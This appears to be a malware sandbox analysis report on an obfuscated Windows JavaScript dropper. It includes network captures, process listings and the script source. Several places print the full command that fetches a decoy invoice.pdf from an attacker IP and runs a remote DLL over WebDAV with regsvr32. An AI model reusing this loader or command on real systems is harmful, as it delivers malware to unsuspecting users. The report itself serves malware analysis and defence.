Jan 11, 2025 01:59:17.635248899 CET	1.1.1.1	192.168.2.6	0xf9be	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:04.960727930 CET	1.1.1.1	192.168.2.6	0x4b91	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:04.960727930 CET	1.1.1.1	192.168.2.6	0x4b91	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:42.072468042 CET	1.1.1.1	192.168.2.6	0x6630	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:42.072468042 CET	1.1.1.1	192.168.2.6	0x6630	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	1096	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:58:50.309890985 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:58:51.107741117 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:58:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:58:51.107794046 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:58:51.107809067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 01:58:51.107889891 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 01:58:51.108036995 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 01:58:51.108055115 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 01:58:51.108069897 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 01:58:51.108086109 CET	1120	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 01:58:51.108320951 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 01:58:51.108338118 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 11, 2025 01:58:51.112771988 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	5532	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:58:52.765347958 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:58:53.585922956 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:58:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:58:46
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js"
Imagebase:	0x7ff68b470000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:58:46
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll
Imagebase:	0x7ff757340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:58:46
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:58:46
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:58:51
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:58:51
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff757340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:58:51
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c7320000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:58:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:58:52
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:58:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1368,i,1435203139519597145,8076865960399547240,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ocataocj() {	ocataocj() ➔ undefined
1	ockrk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var khhmz = this[kqyqazli + thbdkq + nhppqlw + lbfzk + nqhzk + feivbm + zfmcvoqs + njeywit] ( this[emizambo + ceoaj + hkdobzj + nhppqlw + ginbx + kqyqazli + njeywit][ljyddshu + nhppqlw + nqhzk + thbdkq + njeywit + nqhzk + wolozy + owdeqhbro + ozbtidx + nqhzk + hkdobzj + njeywit] ( emizambo + ceoaj + hkdobzj + nhppqlw + ginbx + kqyqazli + njeywit + ctgenushf + ceoaj + bvvddbc + nqhzk + qxctbrb + qxctbrb ) [zvvbvg + nqhzk + irfrkb + zvvbvg + nqhzk + thbdkq + yyskweg] ( ciupcnnto + nmdhga + azntn + ekjdizxo + dxklc + ljyddshu + jcgkcfoix + zvvbvg + zvvbvg + azntn + bxduav + zasdg + dxklc + jcgkcfoix + ceoaj + azntn + zvvbvg + eskaxdol + ljyddshu + ccpivj + zfmcvoqs + njeywit + nhppqlw + ccpivj + qxctbrb + gwdvf + trsyhnv + thbdkq + zfmcvoqs + nqhzk + qxctbrb + eskaxdol + feivbm + zfmcvoqs + njeywit + nqhzk + nhppqlw + zfmcvoqs + thbdkq + njeywit + ginbx + ccpivj + zfmcvoqs + thbdkq + qxctbrb + eskaxdol + nfptemhi + ccpivj + hkdobzj + thbdkq + qxctbrb + nqhzk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( soixlbp = 0 ; soixlbp < ockrk[qxctbrb + nqhzk + zfmcvoqs + irfrkb + njeywit + bvvddbc] ; ++ soixlbp )
4	{
5	if ( khhmz == ockrk[soixlbp] )
6	{
7	khhmz = true;
8	break ;
9	}
10	}
11	if ( khhmz !== true )
12	this[emizambo + ceoaj + hkdobzj + nhppqlw + ginbx + kqyqazli + njeywit][kpfwazp + dzyyhzc + ginbx + njeywit] ( );
13	this[emizambo + ceoaj + hkdobzj + nhppqlw + ginbx + kqyqazli + njeywit][ljyddshu + nhppqlw + nqhzk + thbdkq + njeywit + nqhzk + wolozy + owdeqhbro + ozbtidx + nqhzk + hkdobzj + njeywit] ( emizambo + ceoaj + hkdobzj + nhppqlw + ginbx + kqyqazli + njeywit + ctgenushf + ceoaj + bvvddbc + nqhzk + qxctbrb + qxctbrb ) [nhppqlw + dzyyhzc + zfmcvoqs] ( hkdobzj + poehsleip + yyskweg + gwdvf + ydhwbqw + hkdobzj + gwdvf + kqyqazli + ccpivj + ctukncld + nqhzk + nhppqlw + lbfzk + bvvddbc + nqhzk + qxctbrb + qxctbrb + ctgenushf + nqhzk + uxqrck + nqhzk + gwdvf + cvkxhdpzq + ljyddshu + ccpivj + poehsleip + poehsleip + thbdkq + zfmcvoqs + yyskweg + gwdvf + ksgpp + feivbm + zfmcvoqs + kpdddqjm + ccpivj + kuvohsvjv + nqhzk + cvkxhdpzq + emizambo + nqhzk + owdeqhbro + zvvbvg + nqhzk + yackp + dzyyhzc + nqhzk + lbfzk + njeywit + gwdvf + cvkxhdpzq + wolozy + dzyyhzc + njeywit + xtmlh + ginbx + qxctbrb + nqhzk + gwdvf + ptdvmsevv + njeywit + nqhzk + poehsleip + kqyqazli + ptdvmsevv + eskaxdol + ginbx + zfmcvoqs + kpdddqjm + ccpivj + ginbx + hkdobzj + nqhzk + ctgenushf + kqyqazli + yyskweg + iilthiii + gwdvf + bvvddbc + njeywit + njeywit + kqyqazli + yrfznyhmn + ydhwbqw + ydhwbqw + ofdtjzgw + znzke + mzuezocyi + ctgenushf + ofdtjzgw + gawgtddbd + mzuezocyi + ctgenushf + ofdtjzgw + ctgenushf + gdctkuyw + netakzyuk + oqivxgjsr + ydhwbqw + ginbx + zfmcvoqs + kpdddqjm + ccpivj + ginbx + hkdobzj + nqhzk + ctgenushf + kqyqazli + bvvddbc + kqyqazli + ksgpp + emhaosa + emhaosa + lbfzk + njeywit + thbdkq + nhppqlw + njeywit + gwdvf + ptdvmsevv + njeywit + nqhzk + poehsleip + kqyqazli + ptdvmsevv + eskaxdol + ginbx + zfmcvoqs + kpdddqjm + ccpivj + ginbx + hkdobzj + nqhzk + ctgenushf + kqyqazli + yyskweg + iilthiii + emhaosa + emhaosa + hkdobzj + poehsleip + yyskweg + gwdvf + ydhwbqw + hkdobzj + gwdvf + zfmcvoqs + nqhzk + njeywit + gwdvf + dzyyhzc + lbfzk + nqhzk + gwdvf + eskaxdol + eskaxdol + ofdtjzgw + znzke + mzuezocyi + ctgenushf + ofdtjzgw + gawgtddbd + mzuezocyi + ctgenushf + ofdtjzgw + ctgenushf + gdctkuyw + netakzyuk + oqivxgjsr + hviemmffx + phsvl + phsvl + phsvl + phsvl + eskaxdol + yyskweg + thbdkq + kpdddqjm + ctukncld + ctukncld + ctukncld + nhppqlw + ccpivj + ccpivj + njeywit + eskaxdol + emhaosa + emhaosa + hkdobzj + poehsleip + yyskweg + gwdvf + ydhwbqw + hkdobzj + gwdvf + nhppqlw + nqhzk + irfrkb + lbfzk + kpdddqjm + nhppqlw + mzuezocyi + gdctkuyw + gwdvf + ydhwbqw + lbfzk + gwdvf + eskaxdol + eskaxdol + ofdtjzgw + znzke + mzuezocyi + ctgenushf + ofdtjzgw + gawgtddbd + mzuezocyi + ctgenushf + ofdtjzgw + ctgenushf + gdctkuyw + netakzyuk + oqivxgjsr + hviemmffx + phsvl + phsvl + phsvl + phsvl + eskaxdol + yyskweg + thbdkq + kpdddqjm + ctukncld + ctukncld + ctukncld + nhppqlw + ccpivj + ccpivj + njeywit + eskaxdol + gdctkuyw + iijyqboz + scabxwvy + gawgtddbd + netakzyuk + gdctkuyw + phsvl + phsvl + gdctkuyw + phsvl + gdctkuyw + ofdtjzgw + scabxwvy + gawgtddbd + ctgenushf + yyskweg + qxctbrb + qxctbrb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll",0,false) ➔ 0
14	}
15	oqivxgjsr = "o";
16	oqivxgjsr = "S";
17	oqivxgjsr = "l";
18	oqivxgjsr = "k";
19	oqivxgjsr = "c";
20	oqivxgjsr = "V";
21	oqivxgjsr = "X";
22	oqivxgjsr = "O";
23	oqivxgjsr = "R";
24	oqivxgjsr = "j";
25	oqivxgjsr = "b";
26	oqivxgjsr = "e";
27	oqivxgjsr = "b";
28	oqivxgjsr = "S";
29	oqivxgjsr = "v";
30	oqivxgjsr = "c";
31	oqivxgjsr = "f";
32	oqivxgjsr = "o";
33	oqivxgjsr = "N";
34	oqivxgjsr = "E";
35	oqivxgjsr = "Y";
36	oqivxgjsr = "q";
37	oqivxgjsr = "Z";
38	oqivxgjsr = "t";
39	oqivxgjsr = "T";
40	oqivxgjsr = "W";
41	oqivxgjsr = "b";
42	oqivxgjsr = "b";
43	oqivxgjsr = "U";
44	oqivxgjsr = "z";
45	oqivxgjsr = "P";
46	oqivxgjsr = "z";
47	oqivxgjsr = "V";
48	oqivxgjsr = "5";
49	emhaosa = "L";
50	emhaosa = "h";
51	emhaosa = "e";
52	emhaosa = "N";
53	emhaosa = "a";
54	emhaosa = "t";
55	emhaosa = "K";
56	emhaosa = "L";
57	emhaosa = "i";
58	emhaosa = "Q";
59	emhaosa = "N";
60	emhaosa = "j";
61	emhaosa = "d";
62	emhaosa = "J";
63	emhaosa = "x";
64	emhaosa = "w";
65	emhaosa = "B";
66	emhaosa = "u";
67	emhaosa = "h";
68	emhaosa = "K";
69	emhaosa = "Y";
70	emhaosa = "m";
71	emhaosa = "R";
72	emhaosa = "a";
73	emhaosa = "S";
74	emhaosa = "X";
75	emhaosa = "N";
76	emhaosa = "x";
77	emhaosa = "E";
78	emhaosa = "Y";
79	emhaosa = "H";
80	emhaosa = "R";
81	emhaosa = "&";
82	ydhwbqw = "Y";
83	ydhwbqw = "H";
84	ydhwbqw = "l";
85	ydhwbqw = "u";
86	ydhwbqw = "I";
87	ydhwbqw = "Q";
88	ydhwbqw = "U";
89	ydhwbqw = "/";
90	cvkxhdpzq = "Z";
91	cvkxhdpzq = "E";
92	cvkxhdpzq = "Z";
93	cvkxhdpzq = "h";
94	cvkxhdpzq = "W";
95	cvkxhdpzq = "o";
96	cvkxhdpzq = "Y";
97	cvkxhdpzq = "-";
98	dxklc = "r";
99	dxklc = "N";
100	dxklc = "B";
101	dxklc = "B";
102	dxklc = "o";
103	dxklc = "C";
104	dxklc = "_";
105	znzke = "m";
106	znzke = "W";
107	znzke = "i";
108	znzke = "Y";
109	znzke = "P";
110	znzke = "J";
111	znzke = "e";
112	znzke = "u";
113	znzke = "i";
114	znzke = "v";
115	znzke = "i";
116	znzke = "u";
117	znzke = "j";
118	znzke = "s";
119	znzke = "K";
120	znzke = "l";
121	znzke = "p";
122	znzke = "H";
123	znzke = "z";
124	znzke = "R";
125	znzke = "M";
126	znzke = "s";
127	znzke = "O";
128	znzke = "w";
129	znzke = "s";
130	znzke = "W";
131	znzke = "z";
132	znzke = "e";
133	znzke = "v";
134	znzke = "y";
135	znzke = "z";
136	znzke = "U";
137	znzke = "H";
138	znzke = "K";
139	znzke = "N";
140	znzke = "W";
141	znzke = "f";
142	znzke = "P";
143	znzke = "d";
144	znzke = "9";
145	ctukncld = "v";
146	ctukncld = "Y";
147	ctukncld = "C";
148	ctukncld = "z";
149	ctukncld = "a";
150	ctukncld = "q";
151	ctukncld = "G";
152	ctukncld = "a";
153	ctukncld = "z";
154	ctukncld = "l";
155	ctukncld = "P";
156	ctukncld = "C";
157	ctukncld = "N";
158	ctukncld = "t";
159	ctukncld = "r";
160	ctukncld = "l";
161	ctukncld = "Q";
162	ctukncld = "j";
163	ctukncld = "m";
164	ctukncld = "O";
165	ctukncld = "C";
166	ctukncld = "W";
167	ctukncld = "P";
168	ctukncld = "Z";
169	ctukncld = "v";
170	ctukncld = "X";
171	ctukncld = "I";
172	ctukncld = "Z";
173	ctukncld = "l";
174	ctukncld = "A";
175	ctukncld = "R";
176	ctukncld = "P";
177	ctukncld = "b";
178	ctukncld = "A";
179	ctukncld = "f";
180	ctukncld = "M";
181	ctukncld = "J";
182	ctukncld = "s";
183	ctukncld = "K";
184	ctukncld = "x";
185	ctukncld = "S";
186	ctukncld = "s";
187	ctukncld = "F";
188	ctukncld = "J";
189	ctukncld = "w";
190	ceoaj = "v";
191	ceoaj = "O";
192	ceoaj = "S";
193	ceoaj = "s";
194	ceoaj = "k";
195	ceoaj = "H";
196	ceoaj = "T";
197	ceoaj = "D";
198	ceoaj = "c";
199	ceoaj = "e";
200	ceoaj = "M";
201	ceoaj = "b";
202	ceoaj = "d";
203	ceoaj = "L";
204	ceoaj = "u";
205	ceoaj = "N";
206	ceoaj = "S";
207	ceoaj = "t";
208	ceoaj = "T";
209	ceoaj = "J";
210	ceoaj = "j";
211	ceoaj = "v";
212	ceoaj = "U";
213	ceoaj = "a";
214	ceoaj = "L";
215	ceoaj = "a";
216	ceoaj = "C";
217	ceoaj = "h";
218	ceoaj = "x";
219	ceoaj = "P";
220	ceoaj = "E";
221	ceoaj = "K";
222	ceoaj = "p";
223	ceoaj = "h";
224	ceoaj = "S";
225	ctgenushf = "t";
226	ctgenushf = "i";
227	ctgenushf = "p";
228	ctgenushf = "u";
229	ctgenushf = "a";
230	ctgenushf = "j";
231	ctgenushf = "I";
232	ctgenushf = "S";
233	ctgenushf = "U";
234	ctgenushf = "y";
235	ctgenushf = "l";
236	ctgenushf = "z";
237	ctgenushf = "I";
238	ctgenushf = "p";
239	ctgenushf = "B";
240	ctgenushf = "k";
241	ctgenushf = "c";
242	ctgenushf = "U";
243	ctgenushf = "G";
244	ctgenushf = "r";
245	ctgenushf = "b";
246	ctgenushf = "F";
247	ctgenushf = "d";
248	ctgenushf = "t";
249	ctgenushf = "R";
250	ctgenushf = "l";
251	ctgenushf = "V";
252	ctgenushf = "z";
253	ctgenushf = "q";
254	ctgenushf = "S";
255	ctgenushf = "p";
256	ctgenushf = "n";
257	ctgenushf = "W";
258	ctgenushf = "l";
259	ctgenushf = "Q";
260	ctgenushf = "U";
